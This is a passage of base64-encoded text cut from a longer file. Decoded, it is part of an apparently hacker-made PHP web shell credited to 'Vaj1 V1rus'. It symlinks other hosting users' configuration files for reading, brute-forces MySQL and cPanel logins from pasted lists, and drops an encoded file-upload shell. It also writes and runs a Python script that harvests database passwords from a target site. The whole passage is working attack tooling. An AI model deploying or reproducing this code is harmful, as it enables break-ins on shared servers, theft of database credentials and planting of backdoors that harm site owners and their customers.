b3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkic3VwcG9ydHMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJvc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiLAoJCSJvc2NvbW1lcmNlcy9pbmNsdWRlcy9jb25maWd1cmUucGhwIiwKCQkic2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCIsCgkJInNhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCIsCgkJImNvbmZpZy5pbmMucGhwIiwKCQkiYW1lbWJlci9jb25maWcuaW5jLnBocCIsCgkJImNsaWVudHMvY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbGllbnQvY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCIsCgkJImNsaWVudGUvY29uZmlndXJhdGlvbi5waHAiLAoJCSJjbGllbnRzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCIsCgkJImJpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwIiwKCQkiYWRtaW4vY29uZi5waHAiLAoJCSJhZG1pbi9jb25maWcucGhwIik7CgkJZm9yZWFjaCgkdXNyIGFzICR1c3MgKQoJCXsKCQkJJHVzPXRyaW0oJHVzcyk7CgkJCQkJCQoJCQlmb3JlYWNoKCRjb25maWd1cmF0aW9uIGFzICRjKQoJCQl7CgkJCSAkcnM9Ii9ob21lLyIuJHVzLiIvcHVibGljX2h0bWwvIi4kYzsKCQkJICRyPSJJTkpFQ1RJT04vIi4kdXMuIiAuLiAiLiRjOwoJCQkgc3ltbGluaygkcnMsJHIpOwoJCQkKCQl9CgkJCQoJCQl9CgkJCgkJCgkJfQpicmVhazsKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KY2FzZSdmaWxlJzsKCgpicmVhazsKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCmNhc2UgJ2JydXRlJzs/Pgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPD9waHAKLyoKUmVjb2RlZCBCeSBWYWoxIFYxcnVzCiovCkBzZXRfdGltZV9saW1pdCgwKTsKQGVycm9yX3JlcG9ydGluZygwKTsKCgppZigkX1BPU1RbJ3BhZ2UnXT09J2ZpbmQnKQp7CmlmKGlzc2V0KCRfUE9TVFsndXNlcm5hbWVzJ10pICYmIGlzc2V0KCRfUE9TVFsncGFzc3dvcmRzJ10pKQp7CiAgICBpZigkX1BPU1RbJ3R5cGUnXSA9PSAncGFzc3dkJyl7CiAgICAgICAgJGUgPSBleHBsb2RlKCJcbiIsJF9QT1NUWyd1c2VybmFtZXMnXSk7CiAgICAgICAgZm9yZWFjaCgkZSBhcyAkdmFsdWUpewogICAgICAgICRrID0gZXhwbG9kZSgiOiIsJHZhbHVlKTsKICAgICAgICAkdXNlcm5hbWUgLj0gJGtbJzAnXS4iICI7CiAgICAgICAgfQogICAgfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnc2ltcGxlJyl7CiAgICAgICAgJHVzZXJuYW1lID0gc3RyX3JlcGxhY2UoIlxuIiwnICcsJF9QT1NUWyd1c2VybmFtZXMnXSk7CiAgICB9CiAgICAkYTEgPSBleHBsb2RlKCIgIiwkdXNlcm5hbWUpOwogICAgJGEyID0gZXhwbG9kZSgiXG4iLCRfUE9TVFsncGFzc3dvcmRzJ10pOwogICAgJGlkMiA9IGNvdW50KCRhMik7CiAgICAkb2sgPSAwOwogICAgZm9yZWFjaCgkYTEgYXMgJHVzZXIgKQogICAgewogICAgICAgIGlmKCR1c2VyICE9PSAnJykKICAgICAgICB7CiAgICAgICAgJHVzZXI9dHJpbSgkdXNlcik7CiAgICAgICAgIGZvcigkaT0wOyRpPD0kaWQyOyRpKyspCiAgICAgICAgIHsKICAgICAgICAgICAgJHBhc3MgPSB0cmltKCRhMlskaV0pOwogICAgICAgICAgICBpZihAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlciwkcGFzcykpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGVjaG8gIlgnVmFqMSBWMXJ1cyB+IHVzZXIgaXMgKDxiPjxmb250IGNvbG9yPWdyZWVuPiR1c2VyPC9mb250PjwvYj4pIFBhc3N3b3JkIGlzICg8Yj48Zm9udCBjb2xvcj1ncmVlbj4kcGFzczwvZm9udD48L2I+KTxiciAvPiI7CiAgICAgICAgICAgICAgICAkb2srKzsKICAgICAgICAgICAgfQogICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgZWNobyAiPGhyPjxiPllvdSBGb3VuZCA8Zm9udCBjb2xvcj1ncmVlbj4kb2s8L2ZvbnQ+IENwYW5lbCBieSBWYWoxIFYxcnVzPC9iPiI7CiAgICBlY2hvICI8Y2VudGVyPjxiPjxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPjw8IEJBQ0s8L2E+IjsKICAgIGV4aXQ7Cn0KfQppZigkX1BPU1RbJ3Bhc3MnXT09J3Bhc3N3b3JkJyl7CkBlcnJvcl9yZXBvcnRpbmcoMCk7CiRpID0gZ2V0ZW52KCdSRU1PVEVfQUREUicpOwokZCA9IGRhdGUoJ0QsIE0galMsIFkgSDppJyx0aW1lKCkpOwokaCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKJGRpcj0kX1NFUlZFUlsnUEhQX1NFTEYnXTsKJGJhY2sgPSAiUEQ5d2FIQU5DbVZqYUc4Z0p6eG1iM0p0SUdGamRHbHZiajBpSWlCdFpYUm9iMlE5SW5CdmMzUWlJR1Z1WTNSNWNHVTlJbTExYkhScGNHRnlkQzltYjNKdExXUmhkR0VpSUc1aGJXVTlJblZ3Ykc5aFpHVnlJaUJwWkQwaWRYQnNiMkZrWlhJaVBpYzdEUXBsWTJodklDYzhhVzV3ZFhRZ2RIbHdaVDBpWm1sc1pTSWdibUZ0WlQwaVptbHNaU0lnYzJsNlpUMGlOVEFpUGp4cGJuQjFkQ0J1WVcxbFBTSmZkWEJzSWlCMGVYQmxQU0p6ZFdKdGFYUWlJR2xrUFNKZmRYQnNJaUIyWVd4MVpUMGlWWEJzYjJGa0lqNDhMMlp2Y20wK0p6c05DbWxtS0NBa1gxQlBVMVJiSjE5MWNHd25YU0E5UFNBaVZYQnNiMkZrSWlBcElIc05DbWxtS0VCamIzQjVLQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25kRzF3WDI1aGJXVW5YU3dnSkY5R1NVeEZVMXNuWm1sc1pTZGRXeWR1WVcxbEoxMHBLU0I3SUdWamFHOGdKenhpUGt0dmNtRnVaeUJFWVdnZ1FtVnlhbUY1WVNCVmNHeHZZV1FnVTJobGJHd2dTMjl5WVc1bklTRWhQR0krUEdKeVBqeGljajRuT3lCOURRcGxiSE5sSUhzZ1pXTm9ieUFuUEdJK1MyOXlZVzVuSUVkaFoyRnNJRlZ3Ykc5aFpDQlRhR1ZzYkNCTGIzSmhibWNoSVNFOEwySStQR0p5UGp4aWNqNG5PeUI5RFFwOURRby9QZz09IjsKJGZpbGUgPSBmb3BlbigiLnBocCIsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGJhY2spKTsKZmNsb3NlKCRmaWxlKTsKY2htb2QoIi5waHAiLDA3NTUpOwpta2RpcignY29uZmlnJywwNzU1KTsKJGNwID0KJ0l5RXZkWE55TDJKcGJpOWxibllnY0hsMGFHOXVEUW9OQ2ljbkp3MEtRbms2SUVGb2JXVmtJRk5vWVhkcmVTQmhhMkVnYkc1NFp6TXphdzBLZEdoNE9pQlBZbnA1TENCU1pXeHBheXdnYlc5b1lXSWdZVzVrSUNOaGNtRmljSGR1SUEwS0p5Y25EUW9OQ21sdGNHOXlkQ0J6ZVhNTkNtbHRjRzl5ZENCdmN3MEthVzF3YjNKMElISmxEUXBwYlhCdmNuUWdjM1ZpY0hKdlkyVnpjdzBLYVcxd2IzSjBJSFZ5Ykd4cFlnMEthVzF3YjNKMElHZHNiMklOQ21aeWIyMGdjR3hoZEdadmNtMGdhVzF3YjNKMElITjVjM1JsYlEwS0RRcHBaaUJzWlc0b2MzbHpMbUZ5WjNZcElDRTlJRE02RFFvZ0lIQnlhVzUwSnljbkNRMEtJRlZ6WVdkbE9pQWxjeUJiVlZKTUxpNHVYU0JiWkdseVpXTjBiM0o1TGk0dVhRMEtJRVY0S1NBbGN5Qm9kSFJ3T2k4dmQzZDNMblJsYzNRdVkyOXRMM1JsYzNRdklGdGthWElnTGk0dVhTY25KeUFsSUNoemVYTXVZWEpuZGxzd1hTd2djM2x6TG1GeVozWmJNRjBwRFFvZ0lITjVjeTVsZUdsMEtERXBEUW9OQ25OcGRHVWdQU0J6ZVhNdVlYSm5kbHN4WFEwS1ptOTFkQ0E5SUhONWN5NWhjbWQyV3pKZERRb05DblJ5ZVRvTkNpQWdjbVZ4SUNBOUlIVnliR3hwWWk1MWNteHZjR1Z1S0hOcGRHVXBEUW9nSUhKbFlXUWdQU0J5WlhFdWNtVmhaQ2dwRFFvZ0lHbG1JSE41YzNSbGJTZ3BJRDA5SUNkTWFXNTFlQ2M2RFFvZ0lDQWdaaUE5SUc5d1pXNG9KeTkwYlhBdlpHRjBZUzUwZUhRbkxDQW5keWNwRFFvZ0lDQWdaaTUzY21sMFpTaHlaV0ZrS1EwS0lDQWdJR1l1WTJ4dmMyVW9LUTBLSUNCcFppQnplWE4wWlcwb0tTQTlQU0FuVjJsdVpHOTNjeWM2RFFvZ0lDQWdaaUE5SUc5d1pXNG9KMlJoZEdFdWRIaDBKeXdnSjNjbktTQWdEUW9nSUNBZ1ppNTNjbWwwWlNoeVpXRmtLUTBLSUNBZ0lHWXVZMnh2YzJVb0tRMEtEUW9nSUdrZ1BTQXdEUW9nSUdsbUlITjVjM1JsYlNncElEMDlJQ2RNYVc1MWVDYzZEUW9nSUNBZ1ppQTlJRzl3Wlc0b0p5OTBiWEF2WkdGMFlTNTBlSFFuTENBbmNsVW5LUTBLSUNBZ0lHWnZjaUJzYVc1bElHbHVJR1k2RFFvZ0lDQWdJQ0JwWmlCc2FXNWxMbk4wWVhKMGMzZHBkR2dvSnp4c2FUNDhZU2NwSUQwOUlGUnlkV1VnT2cwS0lDQWdJQ0FnSUNCdElEMGdjbVV1YzJWaGNtTm9LSEluS0R4aElHaHlaV1k5SWlrb0xpdGJYajVkS1NnaVBpa25MQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBJQ3M5SURFTkNpQWdJQ0FnSUNBZ2JHOWpZV3hmYm1GdFpTQTlJQ2NsY3k5bWFXeGxKV1F1ZEhoMEp5QWxJQ2htYjNWMExDQnBLUTBLSUNBZ0lDQWdJQ0J3Y21sdWRDQW5VbVYwY21sbGRtbHVaeTR1TGx4MFhIUW5MQ0J6YVhSbElDc2diUzVuY205MWNDZ3lLUTBLSUNBZ0lDQWdJQ0IwY25rNklDQjFjbXhzYVdJdWRYSnNjbVYwY21sbGRtVW9jMmwwWlNBcklHMHVaM0p2ZFhBb01pa3NJR3h2WTJGc1gyNWhiV1VwRFFvZ0lDQWdJQ0FnSUdWNFkyVndkQ0JKVDBWeWNtOXlPZzBLSUNBZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RjYmxzbGMxMGdaRzlsYzI1Y0ozUWdaWGhwYzNRc0lHTnlaV0YwWlNCcGRDQm1hWEp6ZENjZ0pTQm1iM1YwRFFvZ0lDQWdJQ0FnSUNBZ2MzbHpMbVY0YVhRb0tRMEtJQ0FnSUNBZ2FXWWdiR2x1WlM1emRHRnlkSE4zYVhSb0tDYzhhVzFuSnlrZ1BUMGdWSEoxWlRvTkNpQWdJQ0FnSUNBZ2JURWdQU0J5WlM1elpXRnlZMmdvY2ljb1BHRWdhSEpsWmowaUtTZ3VLMXRlUGwwcEtDSStLU2NzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJR2tnS3owZ01RMEtJQ0FnSUNBZ0lDQnNiMk5oYkY5dVlXMWxJRDBnSnlWekwyWnBiR1VsWkM1MGVIUW5JQ1VnS0dadmRYUXNJR2twRFFvZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RTWlhSeWFXVjJhVzVuTGk0dVhIUmNkQ2NzSUhOcGRHVWdLeUJ0TVM1bmNtOTFjQ2d5S1EwS0lDQWdJQ0FnSUNCMGNuazZJQ0IxY214c2FXSXVkWEpzY21WMGNtbGxkbVVvYzJsMFpTQXJJRzB4TG1keWIzVndLRElwTENCc2IyTmhiRjl1WVcxbEtRMEtJQ0FnSUNBZ0lDQmxlR05sY0hRZ1NVOUZjbkp2Y2pvTkNpQWdJQ0FnSUNBZ0lDQndjbWx1ZENBblhHNWJKWE5kSUdSdlpYTnVYQ2QwSUdWNGFYTjBMQ0JqY21WaGRHVWdhWFFnWm1seWMzUW5JQ1VnWm05MWRBMEtJQ0FnSUNBZ0lDQWdJSE41Y3k1bGVHbDBLQ2tOQ2lBZ0lDQWdJR2xtSUd4cGJtVXVjM1JoY25SemQybDBhQ2duUEVsTlJ5Y3BJRDA5SUZSeWRXVTZEUW9nSUNBZ0lDQWdJRzB5SUQwZ2NtVXVjMlZoY21Ob0tISW5LRHhCSUVoU1JVWTlJaWtvTGl0YlhqNWRLU2dpUGlrbkxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcElDczlJREVOQ2lBZ0lDQWdJQ0FnYkc5allXeGZibUZ0WlNBOUlDY2xjeTltYVd4bEpXUXVkSGgwSnlBbElDaG1iM1YwTENCcEtRMEtJQ0FnSUNBZ0lDQndjbWx1ZENBblVtVjBjbWxsZG1sdVp5NHVMbHgwWEhRbkxDQnphWFJsSUNzZ2JUSXVaM0p2ZFhBb01pa05DaUFnSUNBZ0lDQWdkSEo1T2lBZ2RYSnNiR2xpTG5WeWJISmxkSEpwWlhabEtITnBkR1VnS3lCdE1pNW5jbTkxY0NneUtTd2diRzlqWVd4ZmJtRnRaU2tOQ2lBZ0lDQWdJQ0FnWlhoalpYQjBJRWxQUlhKeWIzSTZEUW9nSUNBZ0lDQWdJQ0FnY0hKcGJuUWdKMXh1V3lWelhTQmtiMlZ6Ymx3bmRDQmxlR2x6ZEN3Z1kzSmxZWFJsSUdsMElHWnBjbk4wSnlBbElHWnZkWFFOQ2lBZ0lDQWdJQ0FnSUNCemVYTXVaWGhwZENncERRb2dJQ0FnWmk1amJHOXpaU2dwRFFvZ0lHbG1JSE41YzNSbGJTZ3BJRDA5SUNkWGFXNWtiM2R6SnpvTkNpQWdJQ0JtSUQwZ2IzQmxiaWduWkdGMFlTNTBlSFFuTENBbmNsVW5LUTBLSUNBZ0lHWnZjaUJzYVc1bElHbHVJR1k2RFFvZ0lDQWdJQ0JwWmlCc2FXNWxMbk4wWVhKMGMzZHBkR2dvSnp4c2FUNDhZU2NwSUQwOUlGUnlkV1VnT2cwS0lDQWdJQ0FnSUNCdElEMGdjbVV1YzJWaGNtTm9LSEluS0R4aElHaHlaV1k5SWlrb0xpdGJYajVkS1NnaVBpa25MQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBJQ3M5SURFTkNpQWdJQ0FnSUNBZ2JHOWpZV3hmYm1GdFpTQTlJQ2NsY3k5bWFXeGxKV1F1ZEhoMEp5QWxJQ2htYjNWMExDQnBLUTBLSUNBZ0lDQWdJQ0J3Y21sdWRDQW5VbVYwY21sbGRtbHVaeTR1TGx4MFhIUW5MQ0J6YVhSbElDc2diUzVuY205MWNDZ3lLUTBLSUNBZ0lDQWdJQ0IwY25rNklDQjFjbXhzYVdJdWRYSnNjbVYwY21sbGRtVW9jMmwwWlNBcklHMHVaM0p2ZFhBb01pa3NJR3h2WTJGc1gyNWhiV1VwRFFvZ0lDQWdJQ0FnSUdWNFkyVndkQ0JKVDBWeWNtOXlPZzBLSUNBZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RjYmxzbGMxMGdaRzlsYzI1Y0ozUWdaWGhwYzNRc0lHTnlaV0YwWlNCcGRDQm1hWEp6ZENjZ0pTQm1iM1YwRFFvZ0lDQWdJQ0FnSUNBZ2MzbHpMbVY0YVhRb0tRMEtJQ0FnSUNBZ2FXWWdiR2x1WlM1emRHRnlkSE4zYVhSb0tDYzhhVzFuSnlrZ1BUMGdWSEoxWlRvTkNpQWdJQ0FnSUNBZ2JURWdQU0J5WlM1elpXRnlZMmdvY2ljb1BHRWdhSEpsWmowaUtTZ3VLMXRlUGwwcEtDSStLU2NzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJR2tnS3owZ01RMEtJQ0FnSUNBZ0lDQnNiMk5oYkY5dVlXMWxJRDBnSnlWekwyWnBiR1VsWkM1MGVIUW5JQ1VnS0dadmRYUXNJR2twRFFvZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RTWlhSeWFXVjJhVzVuTGk0dVhIUmNkQ2NzSUhOcGRHVWdLeUJ0TVM1bmNtOTFjQ2d5S1EwS0lDQWdJQ0FnSUNCMGNuazZJQ0IxY214c2FXSXVkWEpzY21WMGNtbGxkbVVvYzJsMFpTQXJJRzB4TG1keWIzVndLRElwTENCc2IyTmhiRjl1WVcxbEtRMEtJQ0FnSUNBZ0lDQmxlR05sY0hRZ1NVOUZjbkp2Y2pvTkNpQWdJQ0FnSUNBZ0lDQndjbWx1ZENBblhHNWJKWE5kSUdSdlpYTnVYQ2QwSUdWNGFYTjBMQ0JqY21WaGRHVWdhWFFnWm1seWMzUW5JQ1VnWm05MWRBMEtJQ0FnSUNBZ0lDQWdJSE41Y3k1bGVHbDBLQ2tOQ2lBZ0lDQWdJR2xtSUd4cGJtVXVjM1JoY25SemQybDBhQ2duUEVsTlJ5Y3BJRDA5SUZSeWRXVTZEUW9nSUNBZ0lDQWdJRzB5SUQwZ2NtVXVjMlZoY21Ob0tISW5LRHhCSUVoU1JVWTlJaWtvTGl0YlhqNWRLU2dpUGlrbkxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcElDczlJREVOQ2lBZ0lDQWdJQ0FnYkc5allXeGZibUZ0WlNBOUlDY2xjeTltYVd4bEpXUXVkSGgwSnlBbElDaG1iM1YwTENCcEtRMEtJQ0FnSUNBZ0lDQndjbWx1ZENBblVtVjBjbWxsZG1sdVp5NHVMbHgwWEhRbkxDQnphWFJsSUNzZ2JUSXVaM0p2ZFhBb01pa05DaUFnSUNBZ0lDQWdkSEo1T2lBZ2RYSnNiR2xpTG5WeWJISmxkSEpwWlhabEtITnBkR1VnS3lCdE1pNW5jbTkxY0NneUtTd2diRzlqWVd4ZmJtRnRaU2tOQ2lBZ0lDQWdJQ0FnWlhoalpYQjBJRWxQUlhKeWIzSTZEUW9nSUNBZ0lDQWdJQ0FnY0hKcGJuUWdKMXh1V3lWelhTQmtiMlZ6Ymx3bmRDQmxlR2x6ZEN3Z1kzSmxZWFJsSUdsMElHWnBjbk4wSnlBbElHWnZkWFFOQ2lBZ0lDQWdJQ0FnSUNCemVYTXVaWGhwZENncERRb2dJQ0FnWmk1amJHOXpaU2dwRFFvZ0lHbG1JSE41YzNSbGJTZ3BJRDA5SUNkTWFXNTFlQ2M2RFFvZ0lDQWdZMnhsWVc1MWNDQTlJSE4xWW5CeWIyTmxjM011VUc5d1pXNG9KM0p0SUMxeVppQXZkRzF3TDJSaGRHRXVkSGgwSUQ0Z0wyUmxkaTl1ZFd4c0p5d2djMmhsYkd3OVZISjFaU2t1ZDJGcGRDZ3BEUW9nSUdsbUlITjVjM1JsYlNncElEMDlJQ2RYYVc1a2IzZHpKem9OQ2lBZ0lDQmpiR1ZoYm5Wd0lEMGdjM1ZpY0hKdlkyVnpjeTVRYjNCbGJpZ25aR1ZzSUVNNlhHUmhkR0V1ZEhoMEp5d2djMmhsYkd3OVZISjFaU2t1ZDJGcGRDZ3BEUW9nSUhCeWFXNTBJQ2RjYmljc0lDY3RKeUFxSURFd01Dd2dKMXh1SncwS0lDQnBaaUJ6ZVhOMFpXMG9LU0E5UFNBblRHbHVkWGduT2cwS0lDQWdJR1p2Y2lCeWIyOTBMQ0JrYVhKekxDQm1hV3hsY3lCcGJpQnZjeTUzWVd4cktHWnZkWFFwT2cwS0lDQWdJQ0FnWm05eUlHWnVZVzFsSUdsdUlHWnBiR1Z6T2cwS0lDQWdJQ0FnSUNCbWRXeHNjR0YwYUNBOUlHOXpMbkJoZEdndWFtOXBiaWh5YjI5MExDQm1ibUZ0WlNrTkNpQWdJQ0FnSUNBZ1ppQTlJRzl3Wlc0b1puVnNiSEJoZEdnc0lDZHlKeWtOQ2lBZ0lDQWdJQ0FnWm05eUlHeHBibVVnYVc0Z1pqb05DaUFnSUNBZ0lDQWdJQ0J6WldOeUlEMGdjbVV1YzJWaGNtTm9JQ2h5SWloa1lsOXdZWE56ZDI5eVpDZGRJRDBnSnlrb0xpdGJYajVkS1Nnbk95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQWdJR2xtSUhObFkzSWdhWE1nYm05MElFNXZibVU2SUhCeWFXNTBJQ2h6WldOeUxtZHliM1Z3S0RJcEtTQWdEUW9nSUNBZ0lDQWdJQ0FnYzJWamNqRWdQU0J5WlM1elpXRnlZMmdvY2lJb2NHRnpjM2R2Y21RZ1BTQW5LU2d1SzF0ZVBsMHBLQ2M3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUNBZ2FXWWdjMlZqY2pFZ2FYTWdibTkwSUU1dmJtVTZJQ0J3Y21sdWRDQWdLSE5sWTNJeExtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQWdJSE5sWTNJeUlEMGdjbVV1YzJWaGNtTm9LSElpS0VSQ1gxQkJVMU5YVDFKRUp5a29MaTR1S1NndUsxdGVQbDBwS0NjcElpd2diR2x1WlNrTkNpQWdJQ0FnSUNBZ0lDQnBaaUJ6WldOeU1pQnBjeUJ1YjNRZ1RtOXVaVG9nY0hKcGJuUWdLSE5sWTNJeUxtZHliM1Z3S0RNcEtRMEtJQ0FnSUNBZ0lDQWdJSE5sWTNJeklEMGdjbVV1YzJWaGNtTm9JQ2h5SWloa1luQmhjM01nUFM0dUtTZ3VLMXRlUGwwcEtDNDdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJQ0FnYVdZZ2MyVmpjak1nYVhNZ2JtOTBJRTV2Ym1VNklIQnlhVzUwSUNoelpXTnlNeTVuY205MWNDZ3lLU2tOQ2lBZ0lDQWdJQ0FnSUNCelpXTnlOQ0E5SUhKbExuTmxZWEpqYUNBb2NpSW9SRUpRUVZOVFYwOVNSQ0E5SUNjcEtDNHJXMTQrWFNrb0xqc3BJaXdnYkdsdVpTa05DaUFnSUNBZ0lDQWdJQ0JwWmlCelpXTnlOQ0JwY3lCdWIzUWdUbTl1WlRvZ2NISnBiblFnS0hObFkzSTBMbWR5YjNWd0tESXBLUTBLSUNBZ0lDQWdJQ0FnSUhObFkzSTFJRDBnY21VdWMyVmhjbU5vSUNoeUlpaEVRbkJoYzNNZ1BTQW5LU2d1SzF0ZVBsMHBLQ2M3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUNBZ2FXWWdjMlZqY2pVZ2FYTWdibTkwSUU1dmJtVTZJSEJ5YVc1MElDaHpaV055TlM1bmNtOTFjQ2d5S1NrTkNpQWdJQ0FnSUNBZ0lDQnpaV055TmlBOUlISmxMbk5sWVhKamFDQW9jaUlvWkdKd1lYTnpkMlFnUFNBbktTZ3VLMXRlUGwwcEtDYzdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJQ0FnYVdZZ2MyVmpjallnYVhNZ2JtOTBJRTV2Ym1VNklIQnlhVzUwSUNoelpXTnlOaTVuY205MWNDZ3lLU2tOQ2lBZ0lDQWdJQ0FnSUNCelpXTnlOeUE5SUhKbExuTmxZWEpqYUNBb2NpSW9iVzl6UTI5dVptbG5YM0JoYzNOM2IzSmtJRDBnSnlrb0xpdGJYajVkS1Nnbk95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQWdJR2xtSUhObFkzSTNJR2x6SUc1dmRDQk9iMjVsT2lCd2NtbHVkQ0FvYzJWamNqY3VaM0p2ZFhBb01pa3BEUW9nSUNBZ0lDQWdJR1l1WTJ4dmMyVW9LUTBLSUNCcFppQnplWE4wWlcwb0tTQTlQU0FuVjJsdVpHOTNjeWM2RFFvZ0lDQWdabTl5SUdsdVptbHNaU0JwYmlCbmJHOWlMbWRzYjJJb0lHOXpMbkJoZEdndWFtOXBiaWhtYjNWMExDQW5LaTUwZUhRbktTQXBPZzBLSUNBZ0lDQWdaaUE5SUc5d1pXNG9hVzVtYVd4bExDQW5jaWNwRFFvZ0lDQWdJQ0JtYjNJZ2JHbHVaU0JwYmlCbU9nMEtJQ0FnSUNBZ0lDQnpaV055SUQwZ2NtVXVjMlZoY21Ob0lDaHlJaWhrWWw5d1lYTnpkMjl5WkNkZElEMGdKeWtvTGl0YlhqNWRLU2duT3lraUxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcFppQnpaV055SUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjaTVuY205MWNDZ3lLU2tnSUEwS0lDQWdJQ0FnSUNCelpXTnlNU0E5SUhKbExuTmxZWEpqYUNoeUlpaHdZWE56ZDI5eVpDQTlJQ2NwS0M0clcxNCtYU2tvSnpzcElpd2diR2x1WlNrTkNpQWdJQ0FnSUNBZ2FXWWdjMlZqY2pFZ2FYTWdibTkwSUU1dmJtVTZJQ0J3Y21sdWRDQWdLSE5sWTNJeExtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQnpaV055TWlBOUlISmxMbk5sWVhKamFDaHlJaWhFUWw5UVFWTlRWMDlTUkNjcEtDNHVMaWtvTGl0YlhqNWRLU2duS1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUdsbUlITmxZM0l5SUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjakl1WjNKdmRYQW9NeWtwRFFvZ0lDQWdJQ0FnSUhObFkzSXpJRDBnY21VdWMyVmhjbU5vSUNoeUlpaGtZbkJoYzNNZ1BTNHVLU2d1SzF0ZVBsMHBLQzQ3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUdsbUlITmxZM0l6SUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjak11WjNKdmRYQW9NaWtwRFFvZ0lDQWdJQ0FnSUhObFkzSTBJRDBnY21VdWMyVmhjbU5vSUNoeUlpaEVRbEJCVTFOWFQxSkVJRDBnSnlrb0xpdGJYajVkS1NndU95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBaaUJ6WldOeU5DQnBjeUJ1YjNRZ1RtOXVaVG9nY0hKcGJuUWdLSE5sWTNJMExtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQnpaV055TlNBOUlISmxMbk5sWVhKamFDQW9jaUlvUkVKd1lYTnpJRDBnSnlrb0xpdGJYajVkS1Nnbk95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBaaUJ6WldOeU5TQnBjeUJ1YjNRZ1RtOXVaVG9nY0hKcGJuUWdLSE5sWTNJMUxtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQnpaV055TmlBOUlISmxMbk5sWVhKamFDQW9jaUlvWkdKd1lYTnpkMlFnUFNBbktTZ3VLMXRlUGwwcEtDYzdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJR2xtSUhObFkzSTJJR2x6SUc1dmRDQk9iMjVsT2lCd2NtbHVkQ0FvYzJWamNqWXVaM0p2ZFhBb01pa3BEUW9nSUNBZ0lDQWdJSE5sWTNJM0lEMGdjbVV1YzJWaGNtTm9JQ2h5SWlodGIzTkRiMjVtYVdkZmNHRnpjM2R2Y21RZ1BTQW5LU2d1SzF0ZVBsMHBLQ2M3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUdsbUlITmxZM0kzSUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjamN1WjNKdmRYQW9NaWtwRFFvZ0lDQWdJQ0JtTG1Oc2IzTmxLQ2tOQ21WNFkyVndkQ0FvUzJWNVltOWhjbVJKYm5SbGNuSjFjSFFwT2cwS0lDQndjbWx1ZENBblhHNVVhR0Z1YTNNZ1ptOXlJSFZ6YVc1bklHbDBJQzVmWGljPSc7CiRmaWxlID0gZm9wZW4oImNwLnB5IiwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY3ApKTsKZmNsb3NlKCRmaWxlKTsKY2htb2QoImNwLnB5IiwwNzU1KTsKJHVybCA9ICRfUE9TVFsndXJsJ107CmVjaG8iPGNlbnRlcj4KPHRleHRhcmVhIGNvbHM9XCI5MFwiIHJvd3M9XCIyMFwiIG5hbWU9XCJ1c2VybmFtZXNcIj4iOwpzeXN0ZW0oInB5dGhvbiBjcC5weSAkdXJsIGNvbmZpZyIpOwp1bmxpbmsgKCdjcC5weScpOwplY2hvIjwvdGV4dGFyZWE+CjwvY2VudGVyPiI7CmVjaG8gIjxocj48Y2VudGVyPjxiPjxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPiA8PCBCQUNLPC9hPiI7CmV4aXQ7Cn0KaWYoJF9QT1NUWydtYXRpa2FuJ109PSdzZWthdGFuJyl7CkBlcnJvcl9yZXBvcnRpbmcoMCk7